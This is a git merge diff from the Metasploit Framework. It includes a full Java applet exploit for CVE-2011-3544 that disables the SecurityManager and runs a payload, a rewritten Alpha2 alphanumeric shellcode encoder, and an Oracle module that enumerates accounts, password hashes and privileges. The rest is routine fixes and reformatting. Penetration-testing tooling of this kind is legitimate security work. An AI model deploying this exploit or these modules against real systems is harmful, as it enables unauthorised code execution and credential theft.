Merge branch 'master' of github.com:rapid7/metasploit-framework into fastlib
Conflicts: modules/auxiliary/scanner/http/axis_login.rb modules/exploits/multi/http/axis2_deployer.rb modules/post/multi/gather/thunderbird_creds.rb modules/post/windows/gather/credentials/imvu.rb msfopcodeunstable
commit
27974c4c27
Binary file not shown.
|
@ -30,6 +30,14 @@
|
|||
#define DLT_AIRONET_HEADER 120
|
||||
#endif
|
||||
|
||||
#if !defined(PCAP_NETMASK_UNKNOWN)
|
||||
/*
|
||||
* Value to pass to pcap_compile() as the netmask if you don't know what
|
||||
* the netmask is.
|
||||
*/
|
||||
#define PCAP_NETMASK_UNKNOWN 0xffffffff
|
||||
#endif
|
||||
|
||||
static VALUE rb_cPcap;
|
||||
|
||||
#define PCAPRUB_VERSION "0.9-dev"
|
||||
|
|
|
@ -0,0 +1,55 @@
|
|||
/*
|
||||
* Oracle Java Applet Rhino Script Engine Remote Code Execution
|
||||
* CVE-2011-3544
|
||||
* ZDI-11-305
|
||||
*
|
||||
* This vulnerability is due to the way Rhino error objects are handled. Normally the script engine
|
||||
* has to ensure untrusted code not being allowed to perform, but a malicious attacker can actually
|
||||
* bypass this by creating an error object (which isn't checked by Rhino Script Engine), with a
|
||||
* custom 'toString()' method to allow code being run with full privileges. This also allows the
|
||||
* attacker to disable Java SecurityManager, and then run abitrary code.
|
||||
*
|
||||
* Ref:
|
||||
* http://schierlm.users.sourceforge.net/CVE-2011-3544.html
|
||||
*/
|
||||
|
||||
import java.applet.Applet;
|
||||
import javax.script.*;
|
||||
import javax.swing.JList;
|
||||
import metasploit.Payload;
|
||||
|
||||
public class Exploit extends Applet {
|
||||
public void init() {
|
||||
try {
|
||||
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
|
||||
Bindings b = engine.createBindings();
|
||||
b.put("applet", this);
|
||||
|
||||
// Disable SecurityManager, and then run the payload
|
||||
// The error object isn't handled by Rhino, so the toString method
|
||||
// will not be restricted by access control
|
||||
Object proxy = (Object) engine.eval(
|
||||
"this.toString = function() {" +
|
||||
" java.lang.System.setSecurityManager(null);" +
|
||||
" applet.callBack();" +
|
||||
" return String.fromCharCode(97 + Math.round(Math.random() * 25));" +
|
||||
"};" +
|
||||
"e = new Error();" +
|
||||
"e.message = this;" +
|
||||
"e", b);
|
||||
|
||||
JList list = new JList(new Object[] {proxy});
|
||||
this.add(list);
|
||||
}
|
||||
catch (ScriptException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public void callBack() {
|
||||
try {
|
||||
Payload.main(null);
|
||||
}
|
||||
catch (Exception e) {}
|
||||
}
|
||||
}
|
|
@ -419,6 +419,8 @@ module Auxiliary::AuthBrute
|
|||
# datastore["VERBOSE"] is set to true.
|
||||
#
|
||||
# If :level would make the method nonsense, default to print_status.
|
||||
#
|
||||
# TODO: This needs to be simpler to be useful.
|
||||
def print_brute(opts={})
|
||||
if opts[:level] and opts[:level].to_s[/^v/]
|
||||
return unless datastore["VERBOSE"]
|
||||
|
|
|
@ -253,10 +253,10 @@ module Auxiliary::Report
|
|||
ext ||= "bin"
|
||||
end
|
||||
|
||||
fname.gsub!(/[^a-z0-9\.\_]+/i, '')
|
||||
fname.gsub!(/[^a-z0-9\.\_\-]+/i, '')
|
||||
fname << ".#{ext}"
|
||||
|
||||
ltype.gsub!(/[^a-z0-9\.\_]+/i, '')
|
||||
ltype.gsub!(/[^a-z0-9\.\_\-]+/i, '')
|
||||
|
||||
path = File.join(Msf::Config.local_directory, fname)
|
||||
full_path = ::File.expand_path(path)
|
||||
|
|
|
@ -981,14 +981,14 @@ class DBManager
|
|||
# If duplicate usernames are okay, find by both user and password (allows
|
||||
# for actual duplicates to get modified updated_at, sources, etc)
|
||||
if token[0].nil? or token[0].empty?
|
||||
cred = service.creds.find_or_initalize_by_user_and_ptype_and_pass(token[0] || "", ptype, token[1] || "")
|
||||
cred = service.creds.find_or_initialize_by_user_and_ptype_and_pass(token[0] || "", ptype, token[1] || "")
|
||||
else
|
||||
cred = service.creds.find_by_user_and_ptype_and_pass(token[0] || "", ptype, token[1] || "")
|
||||
unless cred
|
||||
dcu = token[0].downcase
|
||||
cred = service.creds.find_by_user_and_ptype_and_pass( dcu || "", ptype, token[1] || "")
|
||||
unless cred
|
||||
cred = service.creds.find_or_initalize_by_user_and_ptype_and_pass(token[0] || "", ptype, token[1] || "")
|
||||
cred = service.creds.find_or_initialize_by_user_and_ptype_and_pass(token[0] || "", ptype, token[1] || "")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -13,7 +13,7 @@ module Exploit::KernelMode
|
|||
super
|
||||
|
||||
reqs['EncapsulationRoutine'] = Proc.new { |reqs_, raw|
|
||||
encapsulate_payload(reqs_, raw)
|
||||
encapsulate_kernel_payload(reqs_, raw)
|
||||
}
|
||||
end
|
||||
|
||||
|
@ -30,7 +30,7 @@ protected
|
|||
#
|
||||
# Encapsulates the supplied raw payload within a kernel-mode payload.
|
||||
#
|
||||
def encapsulate_payload(reqs, raw)
|
||||
def encapsulate_kernel_payload(reqs, raw)
|
||||
new_raw = nil
|
||||
ext_opt = reqs['ExtendedOptions'] || {}
|
||||
|
||||
|
|
|
@ -8,6 +8,7 @@ module Alpha2
|
|||
|
||||
class Generic
|
||||
|
||||
# Note: 'A' is presumed to be accepted, but excluded from the accepted characters, because it serves as the terminator
|
||||
def Generic.default_accepted_chars ; ('a' .. 'z').to_a + ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end
|
||||
|
||||
def Generic.gen_decoder_prefix(reg, offset)
|
||||
|
@ -22,14 +23,6 @@ class Generic
|
|||
return ''
|
||||
end
|
||||
|
||||
def Generic.gen_base_set(ignored_max=0x0f)
|
||||
# 0xf is max for XOR encodings - non-unicode
|
||||
max = 0x0f
|
||||
Rex::Text.shuffle_a(
|
||||
[* ( (0..(max)).map { |i| i *= 0x10 } ) ]
|
||||
)
|
||||
end
|
||||
|
||||
def Generic.gen_second(block, base)
|
||||
# XOR encoder for ascii - unicode uses additive
|
||||
(block^base)
|
||||
|
@ -38,57 +31,40 @@ class Generic
|
|||
def Generic.encode_byte(block, badchars)
|
||||
accepted_chars = default_accepted_chars.dup
|
||||
|
||||
badchars.each_char {|c| accepted_chars.delete(c) } if badchars
|
||||
|
||||
# Remove bad chars from the accepted_chars list. Sadly 'A' must be
|
||||
# an accepted char or we'll certainly fail at this point. This could
|
||||
# be fixed later maybe with some recalculation of the encoder stubs...
|
||||
# - Puss
|
||||
(badchars || '').unpack('C*').map { |c| accepted_chars.delete([c].pack('C')) }
|
||||
# No, not nipple.
|
||||
nibble_chars = Array.new(0x10) {[]}
|
||||
accepted_chars.each {|c| nibble_chars[c.unpack('C')[0] & 0x0F].push(c) }
|
||||
|
||||
first = 0
|
||||
second = 1
|
||||
randbase = 0
|
||||
found = nil
|
||||
poss_encodings = []
|
||||
|
||||
block_low_nibble = block & 0x0F
|
||||
block_high_nibble = block >> 4
|
||||
|
||||
gen_base_set(block).each do |randbase_|
|
||||
second = gen_second(block, randbase_)
|
||||
next if second < 0
|
||||
if accepted_chars.include?([second].pack('C'))
|
||||
found = second
|
||||
randbase = randbase_
|
||||
break
|
||||
end
|
||||
# Get list of chars suitable for expressing lower part of byte
|
||||
first_chars = nibble_chars[block_low_nibble]
|
||||
|
||||
# Build a list of possible encodings
|
||||
first_chars.each do |first_char|
|
||||
first_high_nibble = first_char.unpack('C')[0] >> 4
|
||||
|
||||
# In the decoding process, the low nibble of the second char gets combined
|
||||
# (either ADDed or XORed depending on the encoder) with the high nibble of the first char,
|
||||
# and we want the high nibble of our input byte to result
|
||||
second_low_nibble = gen_second(block_high_nibble, first_high_nibble) & 0x0F
|
||||
|
||||
# Find valid second chars for this first char and add each combination to our possible encodings
|
||||
second_chars = nibble_chars[second_low_nibble]
|
||||
second_chars.each {|second_char| poss_encodings.push(second_char + first_char) }
|
||||
end
|
||||
|
||||
if not found
|
||||
msg = "No valid base found for #{"0x%.2x" % block}"
|
||||
if not accepted_chars.include?([second].pack('C'))
|
||||
msg << ": BadChar to #{second}"
|
||||
elsif second < 1
|
||||
msg << ": Negative"
|
||||
end
|
||||
raise RuntimeError, msg
|
||||
if poss_encodings.empty?
|
||||
raise RuntimeError, "No encoding of #{"0x%.2X" % block} possible with limited character set"
|
||||
end
|
||||
|
||||
if (randbase > 0xa0)
|
||||
# first num must be 4
|
||||
first = (randbase/0x10) + 0x40
|
||||
elsif (randbase == 0x00) || (randbase == 0x10)
|
||||
# first num must be 5
|
||||
first = (randbase/0x10) + 0x50
|
||||
else
|
||||
# pick one at "random"
|
||||
first = (randbase/0x10)
|
||||
if (first % 2) > 0
|
||||
first += 0x40
|
||||
else
|
||||
first += 0x50
|
||||
end
|
||||
end
|
||||
|
||||
# now add our new bytes :)
|
||||
[first.to_i, second].pack('CC')
|
||||
# Return a random encoding
|
||||
poss_encodings[rand(poss_encodings.length)]
|
||||
end
|
||||
|
||||
def Generic.encode(buf, reg, offset, badchars = '')
|
||||
|
@ -97,10 +73,10 @@ class Generic
|
|||
buf.each_byte {
|
||||
|block|
|
||||
|
||||
encoded += encode_byte(block, badchars)
|
||||
encoded << encode_byte(block, badchars)
|
||||
}
|
||||
|
||||
encoded += add_terminator()
|
||||
encoded << add_terminator()
|
||||
|
||||
return encoded
|
||||
end
|
||||
|
|
|
@ -8,20 +8,14 @@ module Alpha2
|
|||
|
||||
class UnicodeMixed < Generic
|
||||
|
||||
def self.gen_base_set(max)
|
||||
Rex::Text.shuffle_a(
|
||||
[* ( (0..(max-1)).map { |i| i *= 0x10 } ) ]
|
||||
)
|
||||
end
|
||||
|
||||
def self.gen_second(block, base)
|
||||
# unicode uses additive encoding
|
||||
(block - base)
|
||||
end
|
||||
|
||||
def self.gen_decoder_prefix(reg, offset)
|
||||
if (offset > 28)
|
||||
raise "Critical: Offset is greater than 28"
|
||||
if (offset > 21)
|
||||
raise "Critical: Offset is greater than 21"
|
||||
end
|
||||
|
||||
# offset untested for unicode :(
|
||||
|
|
|
@ -9,20 +9,14 @@ module Alpha2
|
|||
class UnicodeUpper < Generic
|
||||
def self.default_accepted_chars ; ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end
|
||||
|
||||
def self.gen_base_set(max)
|
||||
Rex::Text.shuffle_a(
|
||||
[* ( (0..(max-1)).map { |i| i *= 0x10 } ) ]
|
||||
)
|
||||
end
|
||||
|
||||
def self.gen_second(block, base)
|
||||
# unicode uses additive encoding
|
||||
(block - base)
|
||||
end
|
||||
|
||||
def self.gen_decoder_prefix(reg, offset)
|
||||
if (offset > 8)
|
||||
raise "Critical: Offset is greater than 8"
|
||||
if (offset > 6)
|
||||
raise "Critical: Offset is greater than 6"
|
||||
end
|
||||
|
||||
# offset untested for unicode :(
|
||||
|
|
|
@ -732,8 +732,8 @@ SMB_NTTRANS_HDR_PKT = Rex::Struct2::CStructTemplate.new(
|
|||
[ 'uint32v', 'DataCount', 0 ],
|
||||
[ 'uint32v', 'DataOffset', 0 ],
|
||||
[ 'uint8', 'SetupCount', 0 ],
|
||||
[ 'string', 'SetupData', nil, '' ],
|
||||
[ 'uint16v', 'Subcommand', 0 ],
|
||||
[ 'string', 'SetupData', nil, '' ],
|
||||
[ 'uint16v', 'ByteCount', 0 ],
|
||||
[ 'string', 'Payload', nil, '' ]
|
||||
).create_restraints(
|
||||
|
|
|
@ -1,5 +1,9 @@
|
|||
require 'rex/ui'
|
||||
|
||||
begin
|
||||
require 'windows_console_color_support'
|
||||
rescue ::LoadError
|
||||
end
|
||||
|
||||
module Rex
|
||||
module Ui
|
||||
|
|
|
@ -58,7 +58,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_status("The versions of the Components are:")
|
||||
ver.each do |v|
|
||||
print_status("\t#{v.chomp}")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'TNS', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Component Version: #{v.chomp}", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'TNS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Component Version: #{v.chomp}",
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
|
||||
#Saving Major Release Number for other checks
|
||||
|
@ -70,18 +78,50 @@ class Metasploit3 < Msf::Auxiliary
|
|||
begin
|
||||
if vparm["audit_trail"] == "NONE"
|
||||
print_status("\tDatabase Auditing is not enabled!")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'TNS', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Audit Trail: Disabled", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'TNS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Audit Trail: Disabled",
|
||||
:update => :unique_data
|
||||
)
|
||||
else
|
||||
print_status("\tDatabase Auditing is enabled!")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'TNS', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Audit Trail: Enabled", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'TNS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Audit Trail: Enabled",
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
|
||||
if vparm["audit_sys_operations"] == "FALSE"
|
||||
print_status("\tAuditing of SYS Operations is not enabled!")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'TNS', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Audit SYS Ops: Disabled", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'TNS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Audit SYS Ops: Disabled",
|
||||
:update => :unique_data
|
||||
)
|
||||
else
|
||||
print_status("\tAuditing of SYS Operations is enabled!")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'TNS', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Audit SYS Ops: Enabled", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'TNS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Audit SYS Ops: Enabled",
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -93,10 +133,26 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
if vparm["sql92_security"] == "FALSE"
|
||||
print_status("\tSQL92 Security restriction on SELECT is not Enabled")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'TNS', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "SQL92: Disabled", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'TNS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "SQL92: Disabled",
|
||||
:update => :unique_data
|
||||
)
|
||||
else
|
||||
print_status("\tSQL92 Security restriction on SELECT is Enabled")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'TNS', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "SQL92: Enabled", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'TNS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "SQL92: Enabled",
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
|
||||
# check for encryption of logins on version before 10g
|
||||
|
@ -104,10 +160,26 @@ class Metasploit3 < Msf::Auxiliary
|
|||
if majorrel.join.to_i < 10
|
||||
if vparm["dblink_encrypt_login"] == "FALSE"
|
||||
print_status("\tLink Encryption for Logins is not Enabled")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'TNS', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Link Encryption: Disabled", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'TNS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Link Encryption: Disabled",
|
||||
:update => :unique_data
|
||||
)
|
||||
else
|
||||
print_status("\tLink Encryption for Logins is Enabled")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'TNS', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Link Encryption: Enabled", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'TNS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Link Encryption: Enabled",
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -145,7 +217,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
|
||||
lockout = prepare_exec(query)
|
||||
print_status("\tCurrent Account Lockout Time is set to #{lockout[0].chomp}")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'TNS', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Account Lockout Time: #{lockout[0].chomp}", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'TNS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Account Lockout Time: #{lockout[0].chomp}",
|
||||
:update => :unique_data
|
||||
)
|
||||
|
||||
rescue => e
|
||||
if e.to_s =~ /ORA-00942: table or view does not exist/
|
||||
|
@ -162,7 +242,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
|
||||
failed_logins = prepare_exec(query)
|
||||
print_status("\tThe Number of Failed Logins before an account is locked is set to #{failed_logins[0].chomp}")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'TNS', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Account Fail Logins Permitted: #{failed_logins[0].chomp}", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'TNS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Account Fail Logins Permitted: #{failed_logins[0].chomp}",
|
||||
:update => :unique_data
|
||||
)
|
||||
|
||||
rescue => e
|
||||
if e.to_s =~ /ORA-00942: table or view does not exist/
|
||||
|
@ -179,7 +267,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
|
||||
grace_time = prepare_exec(query)
|
||||
print_status("\tThe Password Grace Time is set to #{grace_time[0].chomp}")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'TNS', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Account Password Grace Time: #{grace_time[0].chomp}", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'TNS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Account Password Grace Time: #{grace_time[0].chomp}",
|
||||
:update => :unique_data
|
||||
)
|
||||
|
||||
rescue => e
|
||||
if e.to_s =~ /ORA-00942: table or view does not exist/
|
||||
|
@ -196,7 +292,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
|
||||
passlife_time = prepare_exec(query)
|
||||
print_status("\tThe Lifetime of Passwords is set to #{passlife_time[0].chomp}")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'TNS', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Password Life Time: #{passlife_time[0].chomp}", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'TNS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Password Life Time: #{passlife_time[0].chomp}",
|
||||
:update => :unique_data
|
||||
)
|
||||
|
||||
rescue => e
|
||||
if e.to_s =~ /ORA-00942: table or view does not exist/
|
||||
|
@ -213,7 +317,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
|
||||
passreuse = prepare_exec(query)
|
||||
print_status("\tThe Number of Times a Password can be reused is set to #{passreuse[0].chomp}")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'TNS', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Password Reuse Time: #{passreuse[0].chomp}", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'TNS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Password Reuse Time: #{passreuse[0].chomp}",
|
||||
:update => :unique_data
|
||||
)
|
||||
|
||||
rescue => e
|
||||
if e.to_s =~ /ORA-00942: table or view does not exist/
|
||||
|
@ -230,7 +342,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
|
||||
passreusemax = prepare_exec(query)
|
||||
print_status("\tThe Maximum Number of Times a Password needs to be changed before it can be reused is set to #{passreusemax[0].chomp}")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'TNS', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Password Maximun Reuse Time: #{passreusemax[0].chomp}", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'TNS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Password Maximun Reuse Time: #{passreusemax[0].chomp}",
|
||||
:update => :unique_data
|
||||
)
|
||||
print_status("\tThe Number of Times a Password can be reused is set to #{passreuse[0].chomp}")
|
||||
|
||||
rescue => e
|
||||
|
@ -249,10 +369,26 @@ class Metasploit3 < Msf::Auxiliary
|
|||
passrand = prepare_exec(query)
|
||||
if passrand[0] =~ /NULL/
|
||||
print_status("\tPassword Complexity is not checked")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'TNS', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Password Complexity is not being checked for new passwords", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'TNS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Password Complexity is not being checked for new passwords",
|
||||
:update => :unique_data
|
||||
)
|
||||
else
|
||||
print_status("\tPassword Complexity is being checked")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'TNS', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Password Complexity is being checked for new passwords", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'TNS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Password Complexity is being checked for new passwords",
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
|
||||
rescue => e
|
||||
|
@ -276,7 +412,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_status("Active Accounts on the System in format Username,Hash are:")
|
||||
activeacc.each do |aa|
|
||||
print_status("\t#{aa.chomp}")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'TNS', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Active Account #{aa.chomp}", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'TNS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Active Account #{aa.chomp}",
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
else
|
||||
query = %Q|
|
||||
|
@ -288,7 +432,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_status("Active Accounts on the System in format Username,Password,Spare4 are:")
|
||||
activeacc.each do |aa|
|
||||
print_status("\t#{aa.chomp}")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'TNS', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Active Account #{aa.chomp}", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'TNS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Active Account #{aa.chomp}",
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -309,7 +461,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_status("Expired or Locked Accounts on the System in format Username,Hash are:")
|
||||
disabledacc.each do |da|
|
||||
print_status("\t#{da.chomp}")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'TNS', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Disabled Account #{da.chomp}", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'TNS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Disabled Account #{da.chomp}",
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
else
|
||||
query = %Q|
|
||||
|
@ -321,7 +481,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_status("Expired or Locked Accounts on the System in format Username,Password,Spare4 are:")
|
||||
disabledacc.each do |da|
|
||||
print_status("\t#{da.chomp}")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'TNS', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Disabled Account #{da.chomp}", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'TNS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Disabled Account #{da.chomp}",
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -341,7 +509,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_status("Accounts with DBA Privilege in format Username,Hash on the System are:")
|
||||
dbaacc.each do |dba|
|
||||
print_status("\t#{dba.chomp}")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'TNS', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Account with DBA Priv #{dba.chomp}", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'TNS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Account with DBA Priv #{dba.chomp}",
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
|
||||
rescue => e
|
||||
|
@ -360,7 +536,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_status("Accounts with Alter System Privilege on the System are:")
|
||||
altersys.each do |as|
|
||||
print_status("\t#{as.chomp}")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'TNS', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Account with ALTER SYSTEM Priv #{as.chomp}", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'TNS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Account with ALTER SYSTEM Priv #{as.chomp}",
|
||||
:update => :unique_data)
|
||||
end
|
||||
|
||||
rescue => e
|
||||
|
@ -379,7 +562,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_status("Accounts with JAVA ADMIN Privilege on the System are:")
|
||||
javaacc.each do |j|
|
||||
print_status("\t#{j.chomp}")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'TNS', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Account with JAVA ADMIN Priv #{j.chomp}", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'TNS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Account with JAVA ADMIN Priv #{j.chomp}",
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
|
||||
rescue => e
|
||||
|
@ -399,7 +590,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_status("Accounts that have CREATE LIBRARY Privilege on the System are:")
|
||||
libpriv.each do |lp|
|
||||
print_status("\t#{lp.chomp}")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'TNS', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Account with CREATE LIBRARY Priv #{lp.chomp}", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'TNS',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
